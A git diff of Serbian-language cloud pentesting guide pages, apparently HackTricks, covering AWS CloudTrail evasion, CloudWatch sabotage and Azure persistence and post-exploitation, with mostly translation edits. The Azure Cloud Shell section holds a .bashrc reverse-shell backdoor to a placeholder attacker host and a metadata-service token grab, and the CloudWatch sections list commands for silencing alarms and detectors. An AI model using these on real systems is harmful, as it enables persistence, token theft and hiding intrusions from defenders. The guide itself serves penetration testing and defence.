@@ -204,7 +204,7 @@ Na ovaj način, **napadač može dobiti ARN ključa bez aktiviranja bilo kakvog ### Pristupanje trećoj infrastrukturi -Određene AWS usluge će **stvoriti neku infrastrukturu** kao što su **Baze podataka** ili **Kubernetes** klasteri (EKS). Korisnik koji **direktno komunicira sa tim uslugama** (kao što je Kubernetes API) **neće koristiti AWS API**, tako da CloudTrail neće moći da vidi ovu komunikaciju. +Određene AWS usluge će **stvoriti neku infrastrukturu** kao što su **Baze podataka** ili **Kubernetes** klasteri (EKS). Korisnik **koji direktno komunicira sa tim uslugama** (kao što je Kubernetes API) **neće koristiti AWS API**, tako da CloudTrail neće moći da vidi ovu komunikaciju. Stoga, korisnik sa pristupom EKS-u koji je otkrio URL EKS API-ja mogao bi lokalno generisati token i **direktno komunicirati sa API uslugom bez da bude otkriven od strane Cloudtrail-a**. @@ -264,7 +264,7 @@ Ovo je u suštini **S3-KMS ransomware** objašnjeno u: **KMS ransomware** -Ovo je najlakši način da se izvede prethodni napad sa različitim zahtevima za dozvole: +Ovo je najlakši način da se izvrši prethodni napad sa različitim zahtevima za dozvole: {{#ref}} ../../aws-post-exploitation/aws-kms-post-exploitation.md diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudwatch-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudwatch-enum.md index 85b912ea8..649618f19 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudwatch-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudwatch-enum.md @@ -4,11 +4,11 @@ ## CloudWatch -**CloudWatch** **prikuplja** podatke o nadzoru i operacijama u obliku logova/metrika/događaja pružajući **ujedinjeni pregled AWS resursa**, aplikacija i usluga.\ +**CloudWatch** **prikuplja** podatke o praćenju i operacijama u obliku logova/metrika/događaja pružajući **ujedinjeni pregled AWS resursa**, aplikacija i usluga.\ CloudWatch Log Event ima **ograničenje veličine od 256KB po svakoj log liniji**.\ Može postaviti **alarme visoke rezolucije**, vizualizovati **logove** i **metrike** jedan pored drugog, preduzeti automatske akcije, rešavati probleme i otkrivati uvide za optimizaciju aplikacija. -Možete nadgledati, na primer, logove iz CloudTraila. Događaji koji se nadgledaju: +Možete pratiti, na primer, logove iz CloudTraila. Događaji koji se prate: - Promene u sigurnosnim grupama i NACL-ima - Pokretanje, zaustavljanje, ponovo pokretanje i gašenje EC2 instanci @@ -53,12 +53,12 @@ Jedinice su tip merenja povezan sa metrikom. Jedinice pomažu da se pruži konte ### Dashboard -**CloudWatch Dashboards** pružaju prilagodljive **poglede na vaše AWS CloudWatch metrike**. Moguće je kreirati i konfigurisati dashboarde za vizualizaciju podataka i nadgledanje resursa u jednom pogledu, kombinujući različite metrike iz raznih AWS usluga. +**CloudWatch Dashboards** pružaju prilagodljive **poglede na vaše AWS CloudWatch metrike**. Moguće je kreirati i konfigurisati dashboarde za vizualizaciju podataka i praćenje resursa u jednom pogledu, kombinujući različite metrike iz raznih AWS usluga. **Ključne karakteristike**: - **Widgeti**: Građevinski blokovi dashboarda, uključujući grafike, tekst, alarme i još mnogo toga. -- **Prilagođavanje**: Raspored i sadržaj mogu se prilagoditi kako bi odgovarali specifičnim potrebama nadzora. +- **Prilagođavanje**: Raspored i sadržaj mogu se prilagoditi kako bi odgovarali specifičnim potrebama praćenja. **Primer upotrebe**: @@ -66,9 +66,9 @@ Jedinice su tip merenja povezan sa metrikom. Jedinice pomažu da se pruži konte ### Metric Stream i Metric Data -**Metric Streams** u AWS CloudWatch omogućavaju vam da kontinuirano strimujete CloudWatch metrike na odredište po vašem izboru u skoro realnom vremenu. Ovo je posebno korisno za napredni nadzor, analitiku i prilagođene dashboarde koristeći alate van AWS-a. +**Metric Streams** u AWS CloudWatch omogućavaju vam da kontinuirano strimujete CloudWatch metrike na odredište po vašem izboru u skoro realnom vremenu. Ovo je posebno korisno za napredno praćenje, analitiku i prilagođene dashboarde koristeći alate van AWS-a. -**Metric Data** unutar Metric Streams se odnosi na stvarna merenja ili podatke koji se strimuju. Ovi podaci predstavljaju različite metrike kao što su CPU upotreba, korišćenje memorije, itd., za AWS resurse. +**Metric Data** unutar Metric Streams odnosi se na stvarna merenja ili podatke koji se strimuju. Ovi podaci predstavljaju različite metrike kao što su CPU upotreba, korišćenje memorije itd., za AWS resurse. **Primer upotrebe**: @@ -77,18 +77,18 @@ Jedinice su tip merenja povezan sa metrikom. Jedinice pomažu da se pruži konte ### Alarm -**CloudWatch Alarms** nadgledaju vaše metrike i preduzimaju akcije na osnovu unapred definisanih pragova. Kada metrika prekorači prag, alarm može izvršiti jednu ili više akcija kao što su slanje obaveštenja putem SNS-a, pokretanje politike automatskog skaliranja ili pokretanje AWS Lambda funkcije. +**CloudWatch Alarms** prate vaše metrike i preduzimaju akcije na osnovu unapred definisanih pragova. Kada metrika prekorači prag, alarm može izvršiti jednu ili više akcija kao što su slanje obaveštenja putem SNS-a, pokretanje politike automatskog skaliranja ili pokretanje AWS Lambda funkcije. **Ključne komponente**: - **Prag**: Vrednost na kojoj se alarm aktivira. -- **Periodi evaluacije**: Broj perioda tokom kojih se podaci evaluiraju. +- **Periodi evaluacije**: Broj perioda tokom kojih se podaci ocenjuju. - **Podaci za alarm**: Broj perioda sa dostignutim pragom potreban za aktiviranje alarma. -- **Akcije**: Šta se dešava kada se stanje alarma aktivira (npr. obaveštavanje putem SNS-a). +- **Akcije**: Šta se dešava kada se aktivira stanje alarma (npr. obaveštavanje putem SNS-a). **Primer upotrebe**: -- Nadgledanje CPU upotrebe EC2 instance i slanje obaveštenja putem SNS-a ako pređe 80% tokom 5 uzastopnih minuta. +- Praćenje CPU upotrebe EC2 instance i slanje obaveštenja putem SNS-a ako pređe 80% tokom 5 uzastopnih minuta. ### Detektori anomalija @@ -103,30 +103,30 @@ Jedinice su tip merenja povezan sa metrikom. Jedinice pomažu da se pruži konte - Otkrivanje neobičnih obrazaca CPU upotrebe u EC2 instanci koji mogu ukazivati na bezbednosni proboj ili problem sa aplikacijom. -### Uvidi i upravljani uvidi +### Insight pravila i upravljana Insight pravila -**Uvidi** vam omogućavaju da identifikujete trendove, detektujete skokove ili druge obrasce od interesa u vašim podacima metrika koristeći **moćne matematičke izraze** za definisanje uslova pod kojima bi se trebale preduzeti akcije. Ova pravila mogu vam pomoći da identifikujete anomalije ili neobično ponašanje u performansama i korišćenju vaših resursa. +**Insight pravila** omogućavaju vam da identifikujete trendove, detektujete skokove ili druge obrasce od interesa u vašim podacima metrika koristeći **moćne matematičke izraze** za definisanje uslova pod kojima bi se trebale preduzeti akcije. Ova pravila mogu vam pomoći da identifikujete anomalije ili neobično ponašanje u performansama i korišćenju vaših resursa. -**Upravljani uvidi** su unapred konfigurisana **pravila uvida koja pruža AWS**. Dizajnirana su za nadgledanje specifičnih AWS usluga ili uobičajenih slučajeva korišćenja i mogu se omogućiti bez potrebe za detaljnom konfiguracijom. +**Upravljana Insight pravila** su unapred konfigurisana **insight pravila koja pruža AWS**. Dizajnirana su za praćenje specifičnih AWS usluga ili uobičajenih slučajeva korišćenja i mogu se omogućiti bez potrebe za detaljnom konfiguracijom. **Primer upotrebe**: -- Nadgledanje RDS performansi: Omogućite upravljano pravilo uvida za Amazon RDS koje nadgleda ključne indikatore performansi kao što su CPU upotreba, korišćenje memorije i disk I/O. Ako bilo koja od ovih metrika premaši sigurne operativne pragove, pravilo može aktivirati upozorenje ili automatsku akciju ublažavanja. +- Praćenje RDS performansi: Omogućite upravljano insight pravilo za Amazon RDS koje prati ključne indikatore performansi kao što su CPU upotreba, korišćenje memorije i disk I/O. Ako bilo koja od ovih metrika premaši sigurne operativne pragove, pravilo može aktivirati upozorenje ili automatsku akciju ublažavanja. -### CloudWatch Logovi +### CloudWatch Logs -Omogućava **agregaciju i nadgledanje logova iz aplikacija** i sistema iz **AWS usluga** (uključujući CloudTrail) i **iz aplikacija/sistema** (**CloudWatch Agent** može biti instaliran na hostu). Logovi se mogu **čuvati neodređeno** (u zavisnosti od podešavanja Log Grupe) i mogu se eksportovati. +Omogućava **agregaciju i praćenje logova iz aplikacija** i sistema iz **AWS usluga** (uključujući CloudTrail) i **iz aplikacija/sistema** (**CloudWatch Agent** može biti instaliran na hostu). Logovi se mogu **čuvati neodređeno** (u zavisnosti od podešavanja Log Grupe) i mogu se eksportovati. **Elementi**: - -| **Log Grupa** | **Kolekcija log stream-ova** koji dele iste postavke zadržavanja, nadzora i kontrole pristupa | +| Termin | Definicija | | ------------------------ | ---------------------------------------------------------------------------------------------------------------------------------------------------------- | -| **Log Stream** | Sekvenca **log događaja** koji dele **isti izvor** | -| **Filteri pretplate** | Definišu **filter obrazac koji se poklapa sa događajima** u određenoj log grupi, šalju ih u Kinesis Data Firehose stream, Kinesis stream, ili Lambda funkciju | +| **Log Grupa** | **Kolekcija log streamova** koji dele iste postavke zadržavanja, praćenja i kontrole pristupa | +| **Log Stream** | Sekvenca **log događaja** koji dele **isti izvor** | +| **Filteri pretplate** | Definišu **filter obrazac koji se poklapa sa događajima** u određenoj log grupi, šalju ih u Kinesis Data Firehose stream, Kinesis stream ili Lambda funkciju | -### CloudWatch Nadzor & Događaji +### CloudWatch Praćenje & Događaji -CloudWatch **osnovni** agregira podatke **svakih 5 minuta** (detaljni to radi **svakih 1 minut**). Nakon agregacije, **proverava pragove alarma** u slučaju da treba da aktivira jedan.\ +CloudWatch **osnovni** agregira podatke **svakih 5 minuta** (dok **detaljni** to radi **svake 1 minute**). Nakon agregacije, **proverava pragove alarma** u slučaju da treba da aktivira jedan.\ U tom slučaju, CloudWatch može biti spreman da pošalje događaj i izvrši neke automatske akcije (AWS lambda funkcije, SNS teme, SQS redovi, Kinesis Streams) ### Instalacija agenta @@ -134,10 +134,10 @@ U tom slučaju, CloudWatch može biti spreman da pošalje događaj i izvrši nek Možete instalirati agente unutar vaših mašina/kontejnera kako biste automatski slali logove nazad u CloudWatch. - **Kreirajte** **ulogu** i **prikačite** je na **instancu** sa dozvolama koje omogućavaju CloudWatch-u da prikuplja podatke iz instanci pored interakcije sa AWS sistem menadžerom SSM (CloudWatchAgentAdminPolicy & AmazonEC2RoleforSSM) -- **Preuzmite** i **instalirajte** **agenta** na EC2 instancu ([https://s3.amazonaws.com/amazoncloudwatch-agent/linux/amd64/latest/AmazonCloudWatchAgent.zip](https://s3.amazonaws.com/amazoncloudwatch-agent/linux/amd64/latest/AmazonCloudWatchAgent.zip)). Možete ga preuzeti iz EC2 ili ga automatski instalirati koristeći AWS System Manager birajući paket AWS-ConfigureAWSPackage +- **Preuzmite** i **instalirajte** **agenta** na EC2 instancu ([https://s3.amazonaws.com/amazoncloudwatch-agent/linux/amd64/latest/AmazonCloudWatchAgent.zip](https://s3.amazonaws.com/amazoncloudwatch-agent/linux/amd64/latest/AmazonCloudWatchAgent.zip)). Možete ga preuzeti iznutra EC2 ili ga automatski instalirati koristeći AWS System Manager birajući paket AWS-ConfigureAWSPackage - **Konfigurišite** i **pokrenite** CloudWatch Agent -Log grupa ima mnogo stream-ova. Stream ima mnogo događaja. I unutar svakog stream-a, događaji su zagarantovani da budu u redosledu. +Log grupa ima mnogo streamova. Stream ima mnogo događaja. I unutar svakog streama, događaji su zagarantovani da budu u redosledu. ## Enumeracija ```bash @@ -216,7 +216,7 @@ aws events list-event-buses ### **`cloudwatch:DeleteAlarms`,`cloudwatch:PutMetricAlarm` , `cloudwatch:PutCompositeAlarm`** -Napadač sa ovim dozvolama mogao bi značajno oslabiti infrastrukturu za praćenje i obaveštavanje organizacije. Brisanjem postojećih alarma, napadač bi mogao onemogućiti ključne obaveštenja koja obaveštavaju administratore o kritičnim problemima sa performansama, bezbednosnim povredama ili operativnim neuspesima. Pored toga, kreiranjem ili modifikovanjem metrik alarmâ, napadač bi takođe mogao da obmanjuje administratore lažnim obaveštenjima ili utiša legitimne alarme, efikasno prikrivajući zlonamerne aktivnosti i sprečavajući pravovremene reakcije na stvarne incidente. +Napadač sa ovim dozvolama mogao bi značajno oslabiti infrastrukturu za praćenje i obaveštavanje organizacije. Brisanjem postojećih alarma, napadač bi mogao onemogućiti ključne obaveštenja koja obaveštavaju administratore o kritičnim problemima sa performansama, bezbednosnim povredama ili operativnim neuspesima. Pored toga, kreiranjem ili modifikovanjem metrik alarmâ, napadač bi takođe mogao da obmanjuje administratore lažnim obaveštenjima ili da utiša legitimne alarme, efikasno prikrivajući zlonamerne aktivnosti i sprečavajući pravovremene reakcije na stvarne incidente. Pored toga, sa dozvolom **`cloudwatch:PutCompositeAlarm`**, napadač bi mogao da kreira petlju ili ciklus kompozitnih alarma, gde kompozitni alarm A zavisi od kompozitnog alarma B, a kompozitni alarm B takođe zavisi od kompozitnog alarma A. U ovom scenariju, nije moguće obrisati nijedan kompozitni alarm koji je deo ciklusa jer uvek postoji kompozitni alarm koji zavisi od alarma koji želite da obrišete. ```bash @@ -226,8 +226,8 @@ aws cloudwatch put-composite-alarm --alarm-name --alarm-rule [-- ``` Sledeći primer pokazuje kako učiniti metrik alarm neefikasnim: -- Ovaj metrik alarm prati prosečnu CPU upotrebu specifične EC2 instance, procenjuje metrik svake 300 sekundi i zahteva 6 evaluacionih perioda (ukupno 30 minuta). Ako prosečna CPU upotreba premaši 60% u najmanje 4 od ovih perioda, alarm će se aktivirati i poslati obaveštenje na određenu SNS temu. -- Modifikovanjem Praga na više od 99%, postavljanjem Perioda na 10 sekundi, Evaluacionih Perioda na 8640 (pošto 8640 perioda od 10 sekundi jednako 1 dan), i Datapoints to Alarm na 8640 takođe, bilo bi potrebno da CPU upotreba bude preko 99% svake 10 sekundi tokom celog 24-satnog perioda da bi se aktivirao alarm. +- Ovaj metrik alarm prati prosečnu CPU upotrebu specifične EC2 instance, ocenjuje metriku svake 300 sekundi i zahteva 6 evaluacionih perioda (ukupno 30 minuta). Ako prosečna CPU upotreba premaši 60% u najmanje 4 od ovih perioda, alarm će se aktivirati i poslati obaveštenje na određenu SNS temu. +- Modifikovanjem Threshold na više od 99%, postavljanjem Period na 10 sekundi, Evaluation Periods na 8640 (pošto 8640 perioda od 10 sekundi jednako 1 dan), i Datapoints to Alarm na 8640, bilo bi potrebno da CPU upotreba bude preko 99% svake 10 sekundi tokom celog 24-satnog perioda da bi se aktivirao alarm. {{#tabs }} {{#tab name="Original Metric Alarm" }} @@ -287,7 +287,7 @@ Brisanjem akcija alarma, napadač bi mogao sprečiti kritične obaveštenja i au Pored toga, napadač sa dozvolom mogao bi manipulisati stanjima alarma, imajući mogućnost da kreira lažne alarme kako bi odvratio i zbunio administratore, ili da utiša stvarne alarme kako bi sakrio tekuće zlonamerne aktivnosti ili kritične sistemske kvarove. -- Ako koristite **`SetAlarmState`** na kompozitnom alarmu, kompozitni alarm nije garantovan da se vrati u svoje stvarno stanje. Vraća se u svoje stvarno stanje samo kada se bilo koji od njegovih pod-alarmova promeni. Takođe se ponovo procenjuje ako ažurirate njegovu konfiguraciju. +- Ako koristite **`SetAlarmState`** na kompozitnom alarmu, kompozitni alarm nije garantovan da se vrati u svoje stvarno stanje. Vraća se u svoje stvarno stanje samo kada se bilo koji od njegovih alarmnih podstanja promeni. Takođe se ponovo procenjuje ako ažurirate njegovu konfiguraciju. ```bash aws cloudwatch disable-alarm-actions --alarm-names aws cloudwatch enable-alarm-actions --alarm-names @@ -302,7 +302,7 @@ Napadač bi mogao da kompromituje sposobnost detekcije i odgovora na neobične o aws cloudwatch delete-anomaly-detector [--cli-input-json | --namespace --metric-name --dimensions --stat ] aws cloudwatch put-anomaly-detector [--cli-input-json | --namespace --metric-name --dimensions --stat --configuration --metric-characteristics ] ``` -Sledeći primer pokazuje kako učiniti detektor anomalija metrika neefikasnim. Ovaj detektor anomalija metrika prati prosečnu upotrebu CPU-a specifične EC2 instance, i samo dodavanjem parametra “ExcludedTimeRanges” sa željenim vremenskim opsegom, bilo bi dovoljno da se osigura da detektor anomalija ne analizira niti upozorava na bilo koje relevantne podatke tokom tog perioda. +Sledeći primer pokazuje kako učiniti detektor anomalija metrika neefikasnim. Ovaj detektor anomalija metrika prati prosečnu CPU upotrebu specifične EC2 instance, i samo dodavanjem parametra “ExcludedTimeRanges” sa željenim vremenskim opsegom, bilo bi dovoljno da se osigura da detektor anomalija ne analizira ili ne upozorava na bilo koje relevantne podatke tokom tog perioda. {{#tabs }} {{#tab name="Original Metric Anomaly Detector" }} @@ -355,16 +355,16 @@ Sledeći primer pokazuje kako učiniti detektor anomalija metrika neefikasnim. O ### **`cloudwatch:DeleteDashboards`, `cloudwatch:PutDashboard`** -Napadač bi mogao da kompromituje mogućnosti praćenja i vizualizacije organizacije kreiranjem, modifikovanjem ili brisanjem svojih kontrolnih tabli. Ove dozvole bi mogle biti iskorišćene za uklanjanje kritične vidljivosti u performansama i zdravlju sistema, menjanje kontrolnih tabli da prikazuju netačne podatke ili skrivanje zlonamernih aktivnosti. +Napadač bi mogao da kompromituje mogućnosti praćenja i vizualizacije organizacije kreiranjem, modifikovanjem ili brisanjem svojih kontrolnih tabla. Ove dozvole bi mogle biti iskorišćene za uklanjanje kritične vidljivosti u performansama i zdravlju sistema, menjanje kontrolnih tabla da prikazuju netačne podatke ili skrivanje zlonamernih aktivnosti. ```bash aws cloudwatch delete-dashboards --dashboard-names aws cloudwatch put-dashboard --dashboard-name --dashboard-body ``` -**Potencijalni uticaj**: Gubitak vidljivosti nadzorom i obmanjujuće informacije. +**Potencijalni uticaj**: Gubitak vidljivosti nad monitoringom i obmanjujuće informacije. -### **`cloudwatch:DeleteInsightRules`, `cloudwatch:PutInsightRule` ,`cloudwatch:PutManagedInsightRule`** +### **`cloudwatch:DeleteInsightRules`, `cloudwatch:PutInsightRule`, `cloudwatch:PutManagedInsightRule`** -Insight pravila se koriste za otkrivanje anomalija, optimizaciju performansi i efikasno upravljanje resursima. Brisanjem postojećih insight pravila, napadač bi mogao ukloniti kritične mogućnosti nadzora, ostavljajući sistem slep za probleme sa performansama i bezbednosnim pretnjama. Pored toga, napadač bi mogao kreirati ili modifikovati insight pravila kako bi generisao obmanjujuće podatke ili sakrio zlonamerne aktivnosti, što bi dovelo do netačnih dijagnostika i neadekvatnih odgovora operativnog tima. +Insight pravila se koriste za otkrivanje anomalija, optimizaciju performansi i efikasno upravljanje resursima. Brisanjem postojećih insight pravila, napadač bi mogao ukloniti kritične mogućnosti monitoringa, ostavljajući sistem slep za probleme sa performansama i bezbednosnim pretnjama. Pored toga, napadač bi mogao kreirati ili modifikovati insight pravila kako bi generisao obmanjujuće podatke ili sakrio zlonamerne aktivnosti, što bi dovelo do netačnih dijagnostika i neadekvatnih odgovora operativnog tima. ```bash aws cloudwatch delete-insight-rules --rule-names aws cloudwatch put-insight-rule --rule-name --rule-definition [--rule-state ] @@ -374,7 +374,7 @@ aws cloudwatch put-managed-insight-rules --managed-rules ### **`cloudwatch:DisableInsightRules`, `cloudwatch:EnableInsightRules`** -Onemogućavanjem kritičnih pravila uvida, napadač bi mogao efikasno da zaslepi organizaciju za ključne metrike performansi i bezbednosti. S druge strane, omogućavanjem ili konfigurisanje obmanjujućih pravila, moglo bi biti moguće generisati lažne podatke, stvoriti šum ili prikriti zlonamerne aktivnosti. +Onemogućavanjem kritičnih pravila uvida, napadač bi mogao efikasno da zaslepi organizaciju za ključne metrike performansi i bezbednosti. S druge strane, omogućavanjem ili konfigurisanjem obmanjujućih pravila, moglo bi biti moguće generisati lažne podatke, stvoriti šum ili prikriti zlonamerne aktivnosti. ```bash aws cloudwatch disable-insight-rules --rule-names aws cloudwatch enable-insight-rules --rule-names @@ -383,13 +383,13 @@ aws cloudwatch enable-insight-rules --rule-names ### **`cloudwatch:DeleteMetricStream` , `cloudwatch:PutMetricStream` , `cloudwatch:PutMetricData`** -Napadač sa **`cloudwatch:DeleteMetricStream`** , **`cloudwatch:PutMetricStream`** dozvolama mogao bi da kreira i briše tokove metrika, ugrožavajući bezbednost, nadzor i integritet podataka: +Napadač sa **`cloudwatch:DeleteMetricStream`** , **`cloudwatch:PutMetricStream`** dozvolama mogao bi da kreira i briše tokove podataka o metriki, ugrožavajući bezbednost, nadzor i integritet podataka: -- **Kreiranje zlonamernih tokova**: Kreirati tokove metrika za slanje osetljivih podataka na neovlašćene destinacije. -- **Manipulacija resursima**: Kreiranje novih tokova metrika sa prekomernim podacima moglo bi proizvesti mnogo šuma, uzrokujući netačna upozorenja, prikrivajući prave probleme. -- **Prekid nadzora**: Brisanjem tokova metrika, napadači bi prekinuli kontinuirani tok podataka za nadzor. Na taj način, njihove zlonamerne aktivnosti bi bile efikasno skrivene. +- **Kreiranje zlonamernih tokova**: Kreirati tokove metrike za slanje osetljivih podataka na neovlašćene destinacije. +- **Manipulacija resursima**: Kreiranje novih tokova metrike sa prekomernim podacima moglo bi proizvesti mnogo šuma, uzrokujući netačna upozorenja, prikrivajući prave probleme. +- **Prekid nadzora**: Brisanjem tokova metrike, napadači bi prekinuli kontinuirani tok podataka za nadzor. Na taj način, njihove zlonamerne aktivnosti bi bile efikasno skrivene. -Slično tome, sa dozvolom **`cloudwatch:PutMetricData`**, bilo bi moguće dodati podatke u tok metrika. To bi moglo dovesti do DoS-a zbog količine nepravilnih podataka koji su dodati, čineći ga potpuno beskorisnim. +Slično tome, sa dozvolom **`cloudwatch:PutMetricData`**, bilo bi moguće dodati podatke u tok metrike. To bi moglo dovesti do DoS zbog količine nepravilnih podataka koji su dodati, čineći ga potpuno beskorisnim. ```bash aws cloudwatch delete-metric-stream --name aws cloudwatch put-metric-stream --name [--include-filters ] [--exclude-filters ] --firehose-arn --role-arn --output-format @@ -403,21 +403,21 @@ aws cloudwatch put-metric-data --namespace "AWS/EC2" --metric-name "CPUUtilizati ### **`cloudwatch:StopMetricStreams`, `cloudwatch:StartMetricStreams`** -Napadač bi kontrolisao protok pogođenih tokova podataka o metrikama (svaki tok podataka ako ne postoji ograničenje resursa). Sa dozvolom **`cloudwatch:StopMetricStreams`**, napadači bi mogli da sakriju svoje zlonamerne aktivnosti zaustavljanjem kritičnih tokova metrika. +Napadač bi kontrolisao protok pogođenih tokova podataka o metrikama (svaki tok podataka ako nema ograničenja resursa). Sa dozvolom **`cloudwatch:StopMetricStreams`**, napadači bi mogli da sakriju svoje zlonamerne aktivnosti zaustavljanjem kritičnih tokova metrika. ```bash aws cloudwatch stop-metric-streams --names aws cloudwatch start-metric-streams --names ``` -**Potencijalni uticaj**: Poremećaj u protoku podataka o nadzoru, što utiče na otkrivanje anomalija i incidenata. +**Potencijalni uticaj**: Poremećaj u protoku podataka za praćenje, što utiče na otkrivanje anomalija i incidenata. ### **`cloudwatch:TagResource`, `cloudwatch:UntagResource`** -Napadač bi mogao da doda, izmeni ili ukloni oznake sa CloudWatch resursa (trenutno samo alarma i pravila za Contributor Insights). To bi moglo da poremeti politike kontrole pristupa vaše organizacije zasnovane na oznakama. +Napadač bi mogao da doda, izmeni ili ukloni oznake sa CloudWatch resursa (trenutno samo alarma i pravila za Contributor Insights). Ovo bi moglo poremetiti politike kontrole pristupa vaše organizacije zasnovane na oznakama. ```bash aws cloudwatch tag-resource --resource-arn --tags aws cloudwatch untag-resource --resource-arn --tag-keys ``` -**Potencijalni uticaj**: Poremećaj politika pristupa zasnovanih na oznakama. +**Potencijalni uticaj**: Poremećaj politika kontrole pristupa zasnovanih na oznakama. ## Reference diff --git a/src/pentesting-cloud/azure-security/az-persistence/az-cloud-shell-persistence.md b/src/pentesting-cloud/azure-security/az-persistence/az-cloud-shell-persistence.md index 7bbc31361..2f14dad22 100644 --- a/src/pentesting-cloud/azure-security/az-persistence/az-cloud-shell-persistence.md +++ b/src/pentesting-cloud/azure-security/az-persistence/az-cloud-shell-persistence.md @@ -10,21 +10,13 @@ Azure Cloud Shell nudi pristup komandnoj liniji za upravljanje Azure resursima s * **Startup Scripts**: Fajlovi poput .bashrc se automatski izvršavaju na početku svake sesije, omogućavajući persistentno izvršavanje kada se cloud shell pokrene. Primer backdoora u .bashrc: - -{% code overflow="wrap" %} ```bash echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/$CCSERVER/443 0>&1 &)' >> $HOME/.bashrc ``` -{% endcode %} - Ova backdoor može izvršavati komande čak i 5 minuta nakon što je korisnik završio sa cloud shell-om. Dodatno, upitite Azure-ovu metadata uslugu za detalje instance i tokene: -{% code overflow="wrap" %} ```bash curl -H "Metadata:true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" -s ``` -{% endcode %} - - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md index 16a9f50c1..67a512743 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md @@ -10,7 +10,7 @@ Za više informacija o skladištu, proverite: ../az-services/az-storage.md {{#endref}} -### Microsoft.Storage/storageAccounts/blobServices/containers/blobs/read +### `Microsoft.Storage/storageAccounts/blobServices/containers/blobs/read` Principal sa ovom dozvolom će moći da **prikazuje** blobove (fajlove) unutar kontejnera i **preuzima** fajlove koji mogu sadržati **osetljive informacije**. ```bash @@ -24,9 +24,9 @@ az storage blob download \ --container-name \ -n file.txt --auth-mode login ``` -### Microsoft.Storage/storageAccounts/blobServices/containers/blobs/write +### `Microsoft.Storage/storageAccounts/blobServices/containers/blobs/write` -Princip sa ovom dozvolom će moći da **piše i prepisuje datoteke u kontejnerima** što bi moglo da mu omogući da izazove neku štetu ili čak da eskalira privilegije (npr. prepisivanje nekog koda koji je sačuvan u blob-u): +Principal sa ovom dozvolom će moći da **piše i prepisuje datoteke u kontejnerima** što bi moglo omogućiti da izazove neku štetu ili čak eskalira privilegije (npr. prepisivanje nekog koda koji je smešten u blob-u): ```bash # e.g. Microsoft.Storage/storageAccounts/blobServices/containers/blobs/write az storage blob upload \ diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md index 41752d7b9..3ce70fd23 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md @@ -5,27 +5,21 @@ ## CosmosDB Post Exploitation Za više informacija o SQL bazi podataka pogledajte: -{% content-ref url="../az-services/az-cosmosDB.md" %} -[az-cosmosDB.md](../az-services/az-cosmosDB.md) -{% endcontent-ref %} +{{#ref}} +../az-services/az-cosmosDB.md +{{#endref}} -### "Microsoft.DocumentDB/databaseAccounts/read" && "Microsoft.DocumentDB/databaseAccounts/write" +### `Microsoft.DocumentDB/databaseAccounts/read` && `Microsoft.DocumentDB/databaseAccounts/write` Sa ovom dozvolom možete kreirati ili ažurirati Azure Cosmos DB naloge. To uključuje modifikaciju podešavanja na nivou naloga, dodavanje ili uklanjanje regiona, promenu nivoa konzistentnosti i omogućavanje ili onemogućavanje funkcija kao što su pisanje u više regiona. - -{% code overflow="wrap" %} ```bash az cosmosdb update \ --name \ --resource-group \ --public-network-access ENABLED ``` -{% endcode %} - -### "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/read" && "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/write" +### `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/read` && `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/write` Sa ovom dozvolom, možete kreirati ili modifikovati kontejnere (kolekcije) unutar SQL baze podataka Azure Cosmos DB naloga. Kontejneri se koriste za skladištenje podataka, a promene u njima mogu uticati na strukturu baze podataka i obrasce pristupa. - -{% code overflow="wrap" %} ```bash # Create az cosmosdb sql container create \ @@ -43,25 +37,17 @@ az cosmosdb sql container update \ --name \ --ttl 3600 ``` -{% endcode %} - -### "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/write" && "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/read" -Sa ovom dozvolom, možete kreirati ili modifikovati SQL baze podataka unutar Azure Cosmos DB naloga. Ovo omogućava upravljanje strukturom baze podataka i dodavanje novih baza podataka u nalog. Iako ova dozvola omogućava kreiranje baza podataka, nepravilna ili neovlašćena upotreba može rezultirati nepotrebnom potrošnjom resursa, povećanim troškovima ili operativnim neefikasnostima. - -{% code overflow="wrap" %} +### `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/write` && `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/read` +Sa ovom dozvolom, možete kreirati ili modifikovati SQL baze podataka unutar Azure Cosmos DB naloga. Ovo omogućava upravljanje strukturom baze podataka i dodavanje novih baza podataka u nalog. Dok ova dozvola omogućava kreiranje baza podataka, nepravilna ili neovlašćena upotreba može rezultirati nepotrebnom potrošnjom resursa, povećanim troškovima ili operativnim neefikasnostima. ```bash az cosmosdb sql database create \ --account-name \ --resource-group \ --name ``` -{% endcode %} +### `Microsoft.DocumentDB/databaseAccounts/failoverPriorityChange/action` -### "Microsoft.DocumentDB/databaseAccounts/failoverPriorityChange/action" - -Sa ovom dozvolom, možete promeniti prioritet prebacivanja regiona za Azure Cosmos DB nalog baze podataka. Ova akcija određuje redosled u kojem regioni postaju primarni tokom događaja prebacivanja. Nepravilna upotreba ove dozvole može ometati visoku dostupnost baze podataka ili dovesti do nepredviđenih operativnih posledica. - -{% code overflow="wrap" %} +Sa ovom dozvolom, možete promeniti prioritet oporavka regiona za Azure Cosmos DB nalog 